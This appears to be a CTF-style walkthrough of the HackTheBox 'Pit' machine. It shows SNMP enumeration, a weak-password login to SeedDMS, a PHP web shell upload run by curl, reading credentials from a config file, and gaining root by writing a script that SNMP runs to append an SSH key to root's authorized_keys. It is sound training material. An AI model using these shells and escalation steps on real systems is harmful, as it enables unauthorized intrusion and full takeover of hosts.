Post

HTB - Pit

Box-Info

Summary

This was a medium and unique box. It has the concept of SELinux, UDP port running SNMP service which is used in different ways and most of the HTB machine does not include these things. We will be exploiting the SEEDDMS software which is vulnerable to RCE and with further enumeration on host, but reverse shell will not possible due to SELinux configuration. With credentials found with RCE we can login into Cockpit instance with offered a web console of the host machine. From there, we can write scripts that can be executed using by SNMP, and we will use that to spawn a reverse shell with root privilege.

NMAP Scanning

As always start with Nmap enumeration for checking open ports and services running.

nmap

Nmap’s default scan only scans the TCP ports so adding -sU to the script it will also scan the open UDP port.

nmap

From the Nmap result we can see,

  • Port 22 running SSH service.
  • Port 80 and 9090 running Web service.
  • Port 161 UDP running SNMP service.

We can also see the domain name pit.htb and its subdomain dms-pit.htb which needs to be added on etc/hosts file.

Enumerations

Web Server Enumeration

There were two ports hosting 2 different webpages. Firstly, on port 80 there the startup nginx server’s home page

pit

On the Second webpage which was hosted on port 9090, there was CentOS login page, which I guess can be used for remote connection with host machine.

pit

I tried enumerating webpages at nginx server with gobuster and wfuzz but nothing much of interest was found. For the CentOS login page, I tried default credentials, but it didn’t work.

Since we know SNMP service was also running publicly, we can enumerate it to get some useful information.

SNMP Enumeration

We know that SNMP service is running on UDP port 161 from the Nmap result, so now we can use snmpwalk tool to enumerate the SNMP service.

snmpwalk -v2c -c public <ip> .

pit

This will give us lots of information, but here are some few information that really stands out, The string usr/bin/monitor seems like a path.

pit

The string var/www/html/seeddms51x/seeddms seems like a path which is hosted on the webserver because it is in /var/www/html directory, we can later check if the path is valid in web page or not.

pit

We also got a username “michelle” which can be used to login to the webpage we found earlier from the nmap result.

Back to Web Server Enumeration

After trying the path /seeddms51x/seeddms in the nginx web server we get a login page.

pit

We had also got username “michelle” from SNMP enumeration, so after basic trail and error method to login using common passwords, I was able to login to the webpage using password “michelle”. (Credential michelle:michelle)

pit

Getting Reverse Shell

From the michelle’s dashboard we could edit the Docs/Users/Michelle folder and add document from our local file. Before going there, the “Upgrade Note” left by the administrator also contained interesting information. It said due to the security issues in 5.1.10, they upgraded to 5.1.15, I researched exploits on seeddms and came with a public exploit from ExploitDB.

Basically, it says to upload a webshell and then find it at /data/1048576/"document_id"/1.php, where the document id is available in the file’s page once uploaded.

pit

We can try uploading the basic php web reverse shell, <?php system($_REQUEST["cmd"]); ?>

I uploaded the php file containing the payload as Shellkekw.

pit

We can see our document’s id from the URL, which in my case was 31. Now we can use Curl to remotely execute the command,

curl http://dms-pit.htb/seeddms51x/data/1048576/31/1.php?cmd=id

pit

I tried lots of reverse shell payloads for getting remote connection to the remote machine, but it all failed and after analyzing and researching on the error on permissions, it was due to the SELinux configuration. More about SElinux impacting the file here.

Note: The document uploaded will be deleted every 5 minutes, so we need to upload it again and the id will increase by 1.

We can intercept the curl request with burpsuite, In the reponse intercepted by burpsuite we can see the result of the command execution on the remote host.

curl http://dms-pit.htb/seeddms51x/data/1048576/31/1.php?cmd=id -x localhost:8080

pit

Enumerating directories to find useful information in files/folder.

pit

In the “conf” folder I found the file “setiings.xml” which contained the password of some user. cmd = cat ../../../conf/settings.xml

pit

Cockpit Instance

With the password found in the “settings.xml” file I tried it using as for ssh service with michelle, but it didn’t work but, it worked when logging in to the CentOS login page which was being hosted on port 9090 and we could access the web console of “michelle” user in the remote machine, which is also known as cockpit instance.

pit

And after accessing the terminal we could find the user flag for this machine.

pit

Privilege Escalation

After getting the web console of the remote machine there was not much we could do, our access is very restricted. After getting stuck here for hours I went back to enumeration and found about the usr/bin/monitor path which was found from the snmpwalk enumeration. It was an executable file with its owner as root and michelle could only had read access.

pit

It was a script which executes a check*sh script from /usr/local/monitoring/ directory with root privilege.

pit

There was another path usr/local/monitoring which was also the user “michelle” didn’t have access to. Only root could read, write, and execute it.

pit

However, there was a “+” at the end of the permissions, which means there’s additional ACLs set on the directory, which can be read by getfacl command.

pit

According to the permission shown above, michelle can write and execute from the directory. If we can write to directory, we can add our own script starting with “check” as it runs every script starting with “check” at the beginning as seen from the content of “monitor” file. For confirming it, let’s add an echo command in the script and check if it runs.

pit

Now after running snmpwalk again, since, snmpwalk will take minutes to run we can use NET-SNMP-EXTEND-MIB::nsExtendObjects to trigger just the MIB for the monitoring script so that it doesn’t take minutes to run.

snmpwalk -v2c -c public 10.10.10.241 NET-SNMP-EXTEND-MIB::nsExtendObjects

pit

Now we can confirm that the scripts added in the monitoring directory is executed and running a script which can spawn reverse shell, we can get root terminal since it runs the scripts as root.We can try adding a SSH keys and establish a SSH connection to the remote machine. We can create the SSH keys using ssh-keygen.

pit

This will generate a private and public key which can be used for SSH connections, so now we can try to copy our public key to the “.ssh” file and use to establish SSH connection.

pit

We can append our public key to root’s ssh authorized keys using the echo,

1
echo 'echo "<ssh pub key>" >> /root/.ssh/authorized_keys' > /usr/local/monitoring/checkssh.sh 

pit

By doing this we can append our SSH public key to the root’s authorized keys directory when the scripts get executed after using snmpwalk script again. And later we can use our SSH private key to establish SSH connection as root user.

pit

This post is licensed under CC BY 4.0 by the author.